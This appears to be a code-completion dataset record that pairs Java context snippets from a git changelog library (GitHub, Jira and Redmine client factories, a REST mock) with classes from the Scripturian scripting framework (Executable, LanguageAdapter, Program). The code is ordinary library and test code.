GitHubServiceFactory.interceptor = interceptor;\n }\n\n public static synchronized GitHubService getGitHubService(\n String api, final Optional<String> token) {\n if (!api.endsWith(\"/\")) {\n api += \"/\";\n }\n final File cacheDir = new File(\".okhttpcache\");\n cacheDir.mkdir();\n final Cache cache = new Cache(cacheDir, 1024 * 1024 * 10);\n\n final OkHttpClient.Builder builder =\n new OkHttpClient.Builder().cache(cache).connectTimeout(10, SECONDS);\n\n if (token != null && token.isPresent() && !token.get().isEmpty()) {\n builder.addInterceptor(\n chain -> {\n final Request original = chain.request();\n\n final Request request =\n original\n .newBuilder() //\n .addHeader(\"Authorization\", \"token \" + token.get()) //\n .method(original.method(), original.body()) //\n .build();\n return chain.proceed(request);\n });\n }\n\n if (interceptor != null) {\n builder.addInterceptor(interceptor);\n }\n\n final Retrofit retrofit =\n new Retrofit.Builder() //\n .baseUrl(api) //\n .client(builder.build()) //\n .addConverterFactory(GsonConverterFactory.create()) //\n .build();\n\n return retrofit.create(GitHubService.class);\n }\n}", "public class JiraClientFactory {\n\n private static JiraClient jiraClient;\n\n public static void reset() {\n jiraClient = null;\n }\n\n /** The Bitbucket Server plugin uses this method to inject the Atlassian Client. */\n public static void setJiraClient(final JiraClient jiraClient) {\n JiraClientFactory.jiraClient = jiraClient;\n }\n\n public static JiraClient createJiraClient(final String apiUrl) {\n if (jiraClient != null) {\n return jiraClient;\n }\n return new DefaultJiraClient(apiUrl);\n }\n}", "public class RedmineClientFactory {\n\n private static RedmineClient redmineClient;\n\n public static void reset() {\n redmineClient = null;\n }\n\n /** The Bitbucket Server plugin uses this method to inject the Atlassian Client. */\n public static void setRedmineClient(final RedmineClient redmineClient) {\n RedmineClientFactory.redmineClient = redmineClient;\n }\n\n public static RedmineClient createRedmineClient(final String apiUrl) {\n if (redmineClient != null) {\n return redmineClient;\n }\n return new DefaultRedmineClient(apiUrl);\n }\n}", "public class RestClientMock extends RestClient {\n private final Map<String, String> mockedResponses = new TreeMap<>();\n\n public RestClientMock() {}\n\n public RestClientMock addMockedResponse(final String url, final String response) {\n this.mockedResponses.put(url, response);\n return this;\n }\n\n @Override\n public String getResponse(final HttpURLConnection conn) throws Exception {\n final String key = conn.getURL().getPath() + \"?\" + conn.getURL().getQuery();\n if (this.mockedResponses.containsKey(key)) {\n return this.mockedResponses.get(key);\n } else {\n throw new RuntimeException(\n \"Could not find mock for \\\"\"\n + key\n + \"\\\" available mocks are:\\n\"\n + this.mockedResponses.keySet().stream().collect(Collectors.joining(\"\\n\")));\n }\n }\n\n @Override\n public HttpURLConnection openConnection(final URL addr) throws Exception {\n return new HttpURLConnection(addr) {\n @Override\n public Map<String, List<String>> getHeaderFields() {\n final Map<String, List<String>> map = new TreeMap<>();\n map.put(\"Set-Cookie\", Arrays.asList(\"thesetcookie\"));\n return map;\n }\n\n @Override\n public void connect() throws IOException {}\n\n @Override\n public boolean usingProxy() {\n return false;\n }\n\n @Override\n public void disconnect() {}\n\n @Override\n public OutputStream getOutputStream() throws IOException {\n return new OutputStream() {\n @Override\n public void write(final int b) throws IOException {}\n };\n }\n };\n }\n}", "public class ApprovalsWrapper {\n private static final Gson GSON = new GsonBuilder().setPrettyPrinting().create();\n private static final String SEPARATOR = \"\\n\\n---------------------------------------------\\n\\n\";\n\n public static void verify(GitChangelogApi given) throws Exception {\n String changelogContext = GSON.toJson(given.getChangelog());\n String changelog = given.render();\n Object actual =\n new Object() {\n @Override\n public String toString() {\n return \"template:\\n\\n\"\n + given.getTemplateString()\n + SEPARATOR\n + \"settings:\\n\\n\"\n + GSON.toJson(given.getSettings())\n + SEPARATOR\n + \"changelog:\\n\\n\"\n + changelog\n + SEPARATOR\n + \"context:\\n\\n\"\n + changelogContext;\n }\n };\n Approvals.verify(actual, new Options().withReporter(new AutoApproveReporter()));\n }\n}" ]
import static java.nio.charset.StandardCharsets.UTF_8; import static org.assertj.core.api.Assertions.assertThat; import static se.bjurr.gitchangelog.api.GitChangelogApi.gitChangelogApiBuilder; import static se.bjurr.gitchangelog.api.GitChangelogApiConstants.ZERO_COMMIT; import static se.bjurr.gitchangelog.internal.integrations.rest.RestClient.mock; import java.net.URL; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import org.junit.After; import org.junit.Before; import org.junit.Test; import se.bjurr.gitchangelog.internal.integrations.github.GitHubMockInterceptor; import se.bjurr.gitchangelog.internal.integrations.github.GitHubServiceFactory; import se.bjurr.gitchangelog.internal.integrations.jira.JiraClientFactory; import se.bjurr.gitchangelog.internal.integrations.redmine.RedmineClientFactory; import se.bjurr.gitchangelog.internal.integrations.rest.RestClientMock; import se.bjurr.gitchangelog.test.ApprovalsWrapper;
package se.bjurr.gitchangelog.api; public class GitChangelogApiTest { private RestClientMock mockedRestClient;
private GitHubMockInterceptor gitHubMockInterceptor;
3
tliron/scripturian
components/scripturian/source/com/threecrickets/scripturian/adapter/PegdownAdapter.java
[ "public class Executable\n{\n\t//\n\t// Constants\n\t//\n\n\t/**\n\t * Prefix prepended to on-the-fly scriptlets stored in the document source.\n\t */\n\tpublic static final String ON_THE_FLY_PREFIX = \"_ON_THE_FLY_\";\n\n\t//\n\t// Static operations\n\t//\n\n\t/**\n\t * If the executable does not yet exist in the document source, retrieves\n\t * the source code and parses it into a compact, optimized, executable.\n\t * Parsing requires the appropriate {@link LanguageAdapter} implementations\n\t * to be available in the language manager.\n\t * \n\t * @param documentName\n\t * The document name\n\t * @param parserName\n\t * The parser to use, or null for the default parser\n\t * @param parsingContext\n\t * The parsing context\n\t * @return A document descriptor with a valid executable as its document\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws DocumentException\n\t * In case of a document retrieval error\n\t */\n\tpublic static DocumentDescriptor<Executable> createOnce( String documentName, String parserName, ParsingContext parsingContext ) throws ParsingException, DocumentException\n\t{\n\t\tDocumentDescriptor<Executable> documentDescriptor = parsingContext.getDocumentSource().getDocument( documentName );\n\t\tcreateOnce( documentDescriptor, parserName, parsingContext );\n\t\treturn documentDescriptor;\n\t}\n\n\t/**\n\t * If the executable does not yet exist in the document descriptor,\n\t * retrieves the source code and parses it into a compact, optimized,\n\t * executable. Parsing requires the appropriate {@link LanguageAdapter}\n\t * implementations to be available in the language manager.\n\t * \n\t * @param documentDescriptor\n\t * The document descriptor\n\t * @param parserName\n\t * The parser to use, or null for the default parser\n\t * @param parsingContext\n\t * The parsing context\n\t * @return A new executable or the existing one\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws DocumentException\n\t * In case of a document retrieval error\n\t */\n\tpublic static Executable createOnce( DocumentDescriptor<Executable> documentDescriptor, String parserName, ParsingContext parsingContext ) throws ParsingException, DocumentException\n\t{\n\t\tExecutable executable = documentDescriptor.getDocument();\n\t\tif( executable == null )\n\t\t{\n\t\t\tString defaultLanguageTag = parsingContext.getLanguageManager().getLanguageTagByExtension( documentDescriptor.getDefaultName(), documentDescriptor.getTag(), parsingContext.getDefaultLanguageTag() );\n\t\t\tif( ( defaultLanguageTag != null ) && !defaultLanguageTag.equals( parsingContext.getDefaultLanguageTag() ) )\n\t\t\t{\n\t\t\t\tparsingContext = new ParsingContext( parsingContext );\n\t\t\t\tparsingContext.setDefaultLanguageTag( defaultLanguageTag );\n\t\t\t}\n\n\t\t\texecutable = new Executable( documentDescriptor.getDefaultName(), documentDescriptor.getTimestamp(), documentDescriptor.getSourceCode(), parserName, parsingContext );\n\t\t\tExecutable existing = documentDescriptor.setDocumentIfAbsent( executable );\n\t\t\tif( existing != null )\n\t\t\t\texecutable = existing;\n\t\t}\n\t\treturn executable;\n\t}\n\n\t/**\n\t * Atomically creates a unique on-the-fly document name.\n\t * \n\t * @return An on-the-fly document name\n\t */\n\tpublic static String createOnTheFlyDocumentName()\n\t{\n\t\treturn ON_THE_FLY_PREFIX + onTheFlyCounter.getAndIncrement();\n\t}\n\n\t//\n\t// Construction\n\t//\n\n\t/**\n\t * Parses source code into a compact, optimized, executable. Parsing\n\t * requires the appropriate {@link LanguageAdapter} implementations to be\n\t * available in the language manager.\n\t * \n\t * @param documentName\n\t * The document name\n\t * @param documentTimestamp\n\t * The executable's document timestamp\n\t * @param sourceCode\n\t * The source code\n\t * @param parserName\n\t * The parser to use, or null for the default parser\n\t * @param parsingContext\n\t * The parsing context\n\t * @throws ParsingException\n\t * In case of a parsing error In case of a parsing or compilation\n\t * error\n\t * @throws DocumentException\n\t * In case of a document retrieval error\n\t * @see LanguageAdapter\n\t */\n\tpublic Executable( String documentName, long documentTimestamp, String sourceCode, String parserName, ParsingContext parsingContext ) throws ParsingException, DocumentException\n\t{\n\t\tString partition = parsingContext.getPartition();\n\t\tif( ( partition == null ) && ( parsingContext.getDocumentSource() != null ) )\n\t\t\tpartition = parsingContext.getDocumentSource().getIdentifier();\n\n\t\tthis.documentName = documentName;\n\t\tthis.partition = partition;\n\t\tthis.documentTimestamp = documentTimestamp;\n\t\tthis.executableServiceName = parsingContext.getExposedExecutableName();\n\t\tthis.languageManager = parsingContext.getLanguageManager();\n\n\t\tif( parserName == null )\n\t\t\tparserName = parsingContext.getDefaultParser();\n\n\t\t// Find parser manager\n\t\tParserManager parserManager = parsingContext.getParserManager();\n\t\tif( parserManager == null )\n\t\t{\n\t\t\tif( commonParserManager == null )\n\t\t\t\tcommonParserManager = new ParserManager( Executable.class.getClassLoader() );\n\t\t\tparserManager = commonParserManager;\n\t\t}\n\t\tthis.parserManager = parserManager;\n\n\t\t// Find parser\n\t\tParser parser = parserManager.getParser( parserName );\n\n\t\tif( parser == null )\n\t\t\tthrow new ParsingException( documentName, \"Parser not found: \" + parserName );\n\n\t\tCollection<ExecutableSegment> segments = parser.parse( sourceCode, parsingContext, this );\n\n\t\t// Flatten list into array\n\t\tthis.segments = new ExecutableSegment[segments.size()];\n\t\tsegments.toArray( this.segments );\n\t}\n\n\t//\n\t// Attributes\n\t//\n\n\t/**\n\t * The executable's document name.\n\t * \n\t * @return The document name\n\t * @see #getPartition()\n\t */\n\tpublic String getDocumentName()\n\t{\n\t\treturn documentName;\n\t}\n\n\t/**\n\t * The executable partition. It used in addition to the document name to\n\t * calculate unique IDs for documents. Partitioning allows you have the same\n\t * document name on multiple partitions.\n\t * \n\t * @return The executable partition\n\t * @see #getDocumentName()\n\t */\n\tpublic String getPartition()\n\t{\n\t\treturn partition;\n\t}\n\n\t/**\n\t * The language manager used to parse, prepare and execute the executable.\n\t * \n\t * @return The language manager\n\t */\n\tpublic LanguageManager getLanguageManager()\n\t{\n\t\treturn languageManager;\n\t}\n\n\t/**\n\t * The parser manager used to parse the executable.\n\t * \n\t * @return The parser manager\n\t */\n\tpublic ParserManager getParserManager()\n\t{\n\t\treturn parserManager;\n\t}\n\n\t/**\n\t * User-defined attributes.\n\t * \n\t * @return The attributes\n\t */\n\tpublic ConcurrentMap<String, Object> getAttributes()\n\t{\n\t\treturn attributes;\n\t}\n\n\t/**\n\t * The default name for the {@link ExecutableService} instance.\n\t * \n\t * @return The default executable service name\n\t */\n\tpublic String getExecutableServiceName()\n\t{\n\t\treturn executableServiceName;\n\t}\n\n\t/**\n\t * The executable's document timestamp.\n\t * \n\t * @return The timestamp\n\t */\n\tpublic long getDocumentTimestamp()\n\t{\n\t\treturn documentTimestamp;\n\t}\n\n\t/**\n\t * Timestamp of when the executable last finished executing or entering\n\t * successfully, or 0 if it was never executed or entered.\n\t * \n\t * @return The timestamp or 0\n\t */\n\tpublic long getLastUsedTimestamp()\n\t{\n\t\treturn lastUsedTimestamp;\n\t}\n\n\t/**\n\t * Returns the source code in the trivial case of a \"text-with-scriptlets\"\n\t * executable that contains no scriptlets. Identifying such executables can\n\t * save you from making unnecessary calls to\n\t * {@link #execute(ExecutionContext, Object, ExecutionController)} in some\n\t * situations.\n\t * \n\t * @return The source code if it's pure literal text, null if not\n\t */\n\tpublic String getAsPureLiteral()\n\t{\n\t\tif( segments.length == 1 )\n\t\t{\n\t\t\tExecutableSegment sole = segments[0];\n\t\t\tif( !sole.isProgram )\n\t\t\t\treturn sole.sourceCode;\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * The enterable execution context for an entering key.\n\t * \n\t * @param enteringKey\n\t * The entering key\n\t * @return The execution context\n\t * @see #makeEnterable(Object, ExecutionContext, Object,\n\t * ExecutionController)\n\t * @see ExecutionContext#enter(String, Object...)\n\t */\n\tpublic ExecutionContext getEnterableExecutionContext( Object enteringKey )\n\t{\n\t\treturn enterableExecutionContexts.get( enteringKey );\n\t}\n\n\t/**\n\t * The container service stored in the context, if it was set.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @return The container service or null\n\t * @see #execute(ExecutionContext, Object, ExecutionController)\n\t */\n\tpublic Object getContainerService( ExecutionContext executionContext )\n\t{\n\t\tExecutableService executableService = getExecutableService( executionContext );\n\t\tif( executableService != null )\n\t\t\treturn executableService.getContainer();\n\t\telse\n\t\t\treturn null;\n\t}\n\n\t//\n\t// Operations\n\t//\n\n\t/**\n\t * Executes the executable.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws IOException\n\t * In case of a writing error\n\t */\n\tpublic void execute( ExecutionContext executionContext ) throws ParsingException, ExecutionException, IOException\n\t{\n\t\texecute( executionContext, null, null );\n\t}\n\n\t/**\n\t * Executes the executable.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @param containerService\n\t * The optional container service\n\t * @param executionController\n\t * The optional {@link ExecutionController} to be applied to the\n\t * execution context\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws IOException\n\t * In case of a writing error\n\t */\n\tpublic void execute( ExecutionContext executionContext, Object containerService, ExecutionController executionController ) throws ParsingException, ExecutionException, IOException\n\t{\n\t\tif( executionContext == null )\n\t\t\tthrow new ExecutionException( documentName, \"Execute does not have an execution context\" );\n\n\t\tExecutionContext oldExecutionContext = executionContext.makeCurrent();\n\n\t\tif( !executionContext.isImmutable() && executionController != null )\n\t\t\texecutionController.initialize( executionContext );\n\n\t\tObject oldExecutableService = null;\n\t\tif( !executionContext.isImmutable() )\n\t\t\toldExecutableService = executionContext.getServices().put( executableServiceName, new ExecutableService( executionContext, languageManager, parserManager, containerService ) );\n\n\t\ttry\n\t\t{\n\t\t\tfor( ExecutableSegment segment : segments )\n\t\t\t{\n\t\t\t\tif( !segment.isProgram )\n\t\t\t\t\t// Literal\n\t\t\t\t\texecutionContext.getWriter().write( segment.sourceCode );\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tLanguageAdapter adapter = languageManager.getAdapterByTag( segment.languageTag );\n\t\t\t\t\tif( adapter == null )\n\t\t\t\t\t\tthrow ParsingException.adapterNotFound( documentName, segment.startLineNumber, segment.startColumnNumber, segment.languageTag );\n\n\t\t\t\t\tif( !executionContext.isImmutable() )\n\t\t\t\t\t\texecutionContext.addAdapter( adapter );\n\n\t\t\t\t\tif( !adapter.isThreadSafe() )\n\t\t\t\t\t\tadapter.getLock().lock();\n\n\t\t\t\t\ttry\n\t\t\t\t\t{\n\t\t\t\t\t\tsegment.program.execute( executionContext );\n\t\t\t\t\t}\n\t\t\t\t\tcatch( ParsingException x )\n\t\t\t\t\t{\n\t\t\t\t\t\tx.setExectable( this );\n\t\t\t\t\t\tthrow x;\n\t\t\t\t\t}\n\t\t\t\t\tcatch( ExecutionException x )\n\t\t\t\t\t{\n\t\t\t\t\t\tx.setExectable( this );\n\t\t\t\t\t\tthrow x;\n\t\t\t\t\t}\n\t\t\t\t\tfinally\n\t\t\t\t\t{\n\t\t\t\t\t\tif( !adapter.isThreadSafe() )\n\t\t\t\t\t\t\tadapter.getLock().unlock();\n\t\t\t\t\t}\n\n\t\t\t\t\tif( !executionContext.isImmutable() )\n\t\t\t\t\t\texecutionContext.addAdapter( adapter );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tfinally\n\t\t{\n\t\t\tif( !executionContext.isImmutable() && oldExecutableService != null )\n\t\t\t\texecutionContext.getServices().put( executableServiceName, oldExecutableService );\n\n\t\t\tif( !executionContext.isImmutable() && executionController != null )\n\t\t\t\texecutionController.release( executionContext );\n\n\t\t\tif( oldExecutionContext != null )\n\t\t\t\toldExecutionContext.makeCurrent();\n\t\t}\n\n\t\tlastUsedTimestamp = System.currentTimeMillis();\n\t}\n\n\t/**\n\t * Executes the executable with the current execution context.\n\t * \n\t * @param containerService\n\t * The optional container service\n\t * @param executionController\n\t * The optional {@link ExecutionController} to be applied to the\n\t * execution context\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws IOException\n\t * In case of a writing error\n\t * @see ExecutionContext#getCurrent()\n\t */\n\tpublic void executeInThread( Object containerService, ExecutionController executionController ) throws ParsingException, ExecutionException, IOException\n\t{\n\t\texecute( ExecutionContext.getCurrent(), containerService, executionController );\n\t}\n\n\t/**\n\t * Makes an execution context enterable, in preparation for calling\n\t * {@link ExecutionContext#enter(String, Object...)}.\n\t * <p>\n\t * Note that this can only be done once per entering key for an executable.\n\t * If it succeeds and returns true, the execution context should be\n\t * considered \"consumed\" by this executable. At this point it is immutable,\n\t * and can only be released by calling {@link #release()} on the executable.\n\t * \n\t * @param enteringKey\n\t * The entering key\n\t * @param executionContext\n\t * The execution context\n\t * @return False if we're already enterable and the execution context was\n\t * not consumed, true if the operation succeeded and execution\n\t * context was consumed\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws IOException\n\t * In case of a writing error\n\t */\n\tpublic boolean makeEnterable( Object enteringKey, ExecutionContext executionContext ) throws ParsingException, ExecutionException, IOException\n\t{\n\t\treturn makeEnterable( enteringKey, executionContext, null, null );\n\t}\n\n\t/**\n\t * Makes an execution context enterable, in preparation for calling\n\t * {@link ExecutionContext#enter(String, Object...)}.\n\t * <p>\n\t * Note that this can only be done once per entering key for an executable.\n\t * If it succeeds and returns true, the execution context should be\n\t * considered \"consumed\" by this executable. At this point it is immutable,\n\t * and can only be released by calling {@link #release()} on the executable.\n\t * \n\t * @param enteringKey\n\t * The entering key\n\t * @param executionContext\n\t * The execution context\n\t * @param containerService\n\t * The optional container service\n\t * @param executionController\n\t * The optional {@link ExecutionController} to be applied to the\n\t * execution context\n\t * @return False if we're already enterable and the execution context was\n\t * not consumed, true if the operation succeeded and execution\n\t * context was consumed\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws IOException\n\t * In case of a writing error\n\t */\n\tpublic boolean makeEnterable( Object enteringKey, ExecutionContext executionContext, Object containerService, ExecutionController executionController ) throws ParsingException, ExecutionException, IOException\n\t{\n\t\tif( executionContext.enterableExecutable != null )\n\t\t\tthrow new IllegalStateException( \"Execution context was already made enterable for another executable\" );\n\n\t\texecute( executionContext, containerService, executionController );\n\n\t\tif( enterableExecutionContexts.putIfAbsent( enteringKey, executionContext ) != null )\n\t\t\treturn false;\n\n\t\texecutionContext.enterableExecutable = this;\n\t\texecutionContext.enteringKey = enteringKey;\n\t\texecutionContext.makeImmutable();\n\t\treturn true;\n\t}\n\n\t/**\n\t * Enters the executable at a stored, named location, via the last language\n\t * adapter that used the enterable context. According to the language, the\n\t * entry point can be a function, method, lambda, closure, etc.\n\t * <p>\n\t * An execution context must have been previously made enterable by a call\n\t * to\n\t * {@link #makeEnterable(Object, ExecutionContext, Object, ExecutionController)}\n\t * .\n\t * \n\t * @param enteringKey\n\t * The entering key\n\t * @param entryPointName\n\t * The name of the entry point\n\t * @param arguments\n\t * Optional state to pass to the entry point\n\t * @return State returned from the entry point or null\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t * @throws NoSuchMethodException\n\t * In case the entry point does not exist\n\t * @see ExecutionContext#enter(String, Object...)\n\t */\n\tpublic Object enter( Object enteringKey, String entryPointName, Object... arguments ) throws ParsingException, ExecutionException, NoSuchMethodException\n\t{\n\t\tExecutionContext enterableExecutionContext = enterableExecutionContexts.get( enteringKey );\n\t\tif( enterableExecutionContext == null )\n\t\t\tthrow new IllegalStateException( \"Executable does not have an enterable execution context for key: \" + enteringKey );\n\n\t\tif( enterableExecutionContext.enterableExecutable != this )\n\t\t\tthrow new ExecutionException( documentName, \"Attempted to enter executable using an uninitialized execution context\" );\n\n\t\tObject r = enterableExecutionContext.enter( entryPointName, arguments );\n\t\tlastUsedTimestamp = System.currentTimeMillis();\n\t\treturn r;\n\t}\n\n\t/**\n\t * Releases consumed execution contexts.\n\t * \n\t * @see #makeEnterable(Object, ExecutionContext, Object,\n\t * ExecutionController)\n\t * @see #finalize()\n\t */\n\tpublic void release()\n\t{\n\t\tfor( ExecutionContext enterableExecutionContext : enterableExecutionContexts.values() )\n\t\t\tenterableExecutionContext.release();\n\t}\n\n\t//\n\t// Object\n\t//\n\n\t@Override\n\tpublic String toString()\n\t{\n\t\treturn \"Executable: \" + documentName + \", \" + partition + \", \" + documentTimestamp;\n\t}\n\n\t// //////////////////////////////////////////////////////////////////////////\n\t// Protected\n\n\t/**\n\t * The execution contexts to be used for calls to\n\t * {@link #enter(Object, String, Object...)}.\n\t * \n\t * @see #makeEnterable(Object, ExecutionContext, Object,\n\t * ExecutionController)\n\t */\n\tprotected final ConcurrentMap<Object, ExecutionContext> enterableExecutionContexts = new ConcurrentHashMap<Object, ExecutionContext>();\n\n\t//\n\t// Object\n\t//\n\n\t@Override\n\tprotected void finalize()\n\t{\n\t\trelease();\n\t}\n\n\t// //////////////////////////////////////////////////////////////////////////\n\t// Private\n\n\t/**\n\t * Used to ensure unique names for on-the-fly scriptlets.\n\t */\n\tprivate static final AtomicInteger onTheFlyCounter = new AtomicInteger();\n\n\t/**\n\t * A shared parser manager used when none is specified.\n\t */\n\tprivate static volatile ParserManager commonParserManager;\n\n\t/**\n\t * The executable's partition.\n\t */\n\tprivate final String partition;\n\n\t/**\n\t * The executable's document name.\n\t */\n\tprivate final String documentName;\n\n\t/**\n\t * The executable's document timestamp.\n\t */\n\tprivate final long documentTimestamp;\n\n\t/**\n\t * The language manager used to parse, prepare and execute the executable.\n\t */\n\tprivate final LanguageManager languageManager;\n\n\t/**\n\t * The parser manager used to parse the executable.\n\t */\n\tprivate final ParserManager parserManager;\n\n\t/**\n\t * User-defined attributes.\n\t */\n\tprivate final ConcurrentMap<String, Object> attributes = new ConcurrentHashMap<String, Object>();\n\n\t/**\n\t * The segments, which can be programs, scriptlets or plain-text.\n\t */\n\tprivate final ExecutableSegment[] segments;\n\n\t/**\n\t * The default name for the {@link ExecutableService} instance.\n\t */\n\tprivate final String executableServiceName;\n\n\t/**\n\t * Timestamp of when the executable last finished executing or entering\n\t * successfully, or 0 if it was never executed or entered.\n\t */\n\tprivate volatile long lastUsedTimestamp = 0;\n\n\t/**\n\t * Get the exposed service for the executable.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @return The executable service\n\t * @see #getExecutableServiceName()\n\t */\n\tprivate ExecutableService getExecutableService( ExecutionContext executionContext )\n\t{\n\t\treturn (ExecutableService) executionContext.getServices().get( executableServiceName );\n\t}\n}", "public interface LanguageAdapter\n{\n\t//\n\t// Constants\n\t//\n\n\t/**\n\t * Attribute for the name of the language adapter implementation.\n\t */\n\tpublic static final String NAME = \"name\";\n\n\t/**\n\t * Attribute for the version of the language adapter implementation.\n\t */\n\tpublic static final String VERSION = \"version\";\n\n\t/**\n\t * Attribute for the name of the implemented language.\n\t */\n\tpublic static final String LANGUAGE_NAME = \"language.name\";\n\n\t/**\n\t * Attribute for the version of the implemented language.\n\t */\n\tpublic static final String LANGUAGE_VERSION = \"language.version\";\n\n\t/**\n\t * Attribute for standard source code filename extensions.\n\t */\n\tpublic static final String EXTENSIONS = \"extensions\";\n\n\t/**\n\t * Attribute for default source code filename extension.\n\t */\n\tpublic static final String DEFAULT_EXTENSION = \"extension.default\";\n\n\t/**\n\t * Attribute for language tags supported for scriptlets.\n\t */\n\tpublic static final String TAGS = \"tags\";\n\n\t/**\n\t * Default language tag used for scriptlets.\n\t */\n\tpublic static final String DEFAULT_TAG = \"tag.default\";\n\n\t//\n\t// Attributes\n\t//\n\n\t/**\n\t * The language manager.\n\t * \n\t * @return The language manager\n\t */\n\tpublic LanguageManager getManager();\n\n\t/**\n\t * The language manager.\n\t * \n\t * @param manager\n\t * The manager\n\t */\n\tpublic void setManager( LanguageManager manager );\n\n\t/**\n\t * Adapter attributes. Adapter must at least support the keys listed in this\n\t * interface, but may support their own special keys.\n\t * \n\t * @return The attributes\n\t */\n\tpublic Map<String, Object> getAttributes();\n\n\t/**\n\t * Some languages or their script engines are inherently broken when called\n\t * by multiple threads. Returning false here makes sure Scripturian respects\n\t * this and blocks.\n\t * \n\t * @return True if we support being run by concurrent threads\n\t */\n\tpublic boolean isThreadSafe();\n\n\t/**\n\t * Some languages are meant for use in one segment only. Return true here\n\t * makes sure that Scripturian will not change the current language tag\n\t * after each segment parsed by this adapter.\n\t * \n\t * @return True if the current language tag should not change\n\t */\n\tpublic boolean isEphemeral();\n\n\t/**\n\t * Used when {@link #isThreadSafe()} returns false.\n\t * \n\t * @return The lock\n\t */\n\tpublic Lock getLock();\n\n\t/**\n\t * Creates source code for outputting literal text to standard output.\n\t * \n\t * @param literal\n\t * The literal text\n\t * @param executable\n\t * The executable\n\t * @return Source code\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t */\n\tpublic String getSourceCodeForLiteralOutput( String literal, Executable executable ) throws ParsingException;\n\n\t/**\n\t * Creates source code for outputting a source code expression to standard\n\t * output.\n\t * \n\t * @param expression\n\t * The source code expression\n\t * @param executable\n\t * The executable\n\t * @return Source code\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t */\n\tpublic String getSourceCodeForExpressionOutput( String expression, Executable executable ) throws ParsingException;\n\n\t/**\n\t * Creates source code for including the output of a text-with-scriptlets\n\t * document.\n\t * <p>\n\t * For this to work, the executable must have been created with a container\n\t * that supports an inclusion command named according to the language\n\t * manager attribute\n\t * {@link LanguageManager#CONTAINER_INCLUDE_COMMAND_ATTRIBUTE}.\n\t * \n\t * @param expression\n\t * The source code expression\n\t * @param executable\n\t * The executable\n\t * @return Source code\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @see LanguageManager#getAttributes()\n\t */\n\tpublic String getSourceCodeForExpressionInclude( String expression, Executable executable ) throws ParsingException;\n\n\t//\n\t// Operations\n\t//\n\n\t/**\n\t * Turns source code into a program. The intent is for the implementation to\n\t * perform the bare minimum required for detecting errors in the source\n\t * code. For better initialization, likely at the cost of extra processing\n\t * up front, call {@link Program#prepare()} on the program.\n\t * \n\t * @param sourceCode\n\t * The source code\n\t * @param isScriptlet\n\t * Whether the source code is a scriptlet\n\t * @param position\n\t * The program's position in the executable\n\t * @param startLineNumber\n\t * The line number in the document for where the program's source\n\t * code begins\n\t * @param startColumnNumber\n\t * The column number in the document for where the program's source\n\t * code begins\n\t * @param executable\n\t * The executable\n\t * @return A program\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t */\n\tpublic Program createProgram( String sourceCode, boolean isScriptlet, int position, int startLineNumber, int startColumnNumber, Executable executable ) throws ParsingException;\n\n\t/**\n\t * Enters the executable at a stored, named location. According to the\n\t * language, the entry point can be a function, method, lambda, closure,\n\t * etc.\n\t * \n\t * @param entryPointName\n\t * The entry point name\n\t * @param executable\n\t * The executable\n\t * @param executionContext\n\t * The executable context\n\t * @param arguments\n\t * Optional state to pass to the entry point\n\t * @return State returned from to the entry point or null\n\t * @throws NoSuchMethodException\n\t * In case the entry point does not exist\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t */\n\tpublic Object enter( String entryPointName, Executable executable, ExecutionContext executionContext, Object... arguments ) throws NoSuchMethodException, ParsingException, ExecutionException;\n\n\t/**\n\t * Cleans up any resources used for an execution context.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @see ExecutionContext#getAttributes()\n\t */\n\tpublic void releaseContext( ExecutionContext executionContext );\n}", "public interface Program\n{\n\t//\n\t// Attributes\n\t//\n\n\t/**\n\t * The source code.\n\t * \n\t * @return The source code\n\t */\n\tpublic String getSourceCode();\n\n\t//\n\t// Operations\n\t//\n\n\t/**\n\t * The optional \"preparation\" sub-phase is intended to speed up usage of\n\t * later phases at the expense of higher cost during creation. It would be\n\t * most useful if the executable is intended to be reused. In many\n\t * implementations, \"preparation\" would involve compiling the code, and\n\t * possibly caching the results on disk.\n\t * \n\t * @throws PreparationException\n\t * In case of a preparation error\n\t */\n\tpublic void prepare() throws PreparationException;\n\n\t/**\n\t * Executes the program.\n\t * \n\t * @param executionContext\n\t * The execution context\n\t * @throws ParsingException\n\t * In case of a parsing error\n\t * @throws ExecutionException\n\t * In case of an execution error\n\t */\n\tpublic void execute( ExecutionContext executionContext ) throws ParsingException, ExecutionException;\n}", "public class LanguageAdapterException extends ParsingException\n{\n\t//\n\t// Construction\n\t//\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String documentName, int lineNumber, int columnNumber, String message )\n\t{\n\t\tsuper( documentName, lineNumber, columnNumber, message );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String documentName, int lineNumber, int columnNumber, String message, Throwable cause )\n\t{\n\t\tsuper( documentName, lineNumber, columnNumber, message, cause );\n\t\tthis.adapter = adapter;\n\t}\n\n\tpublic LanguageAdapterException( Class<? extends LanguageAdapter> adapter, String documentName, int lineNumber, int columnNumber, Throwable cause 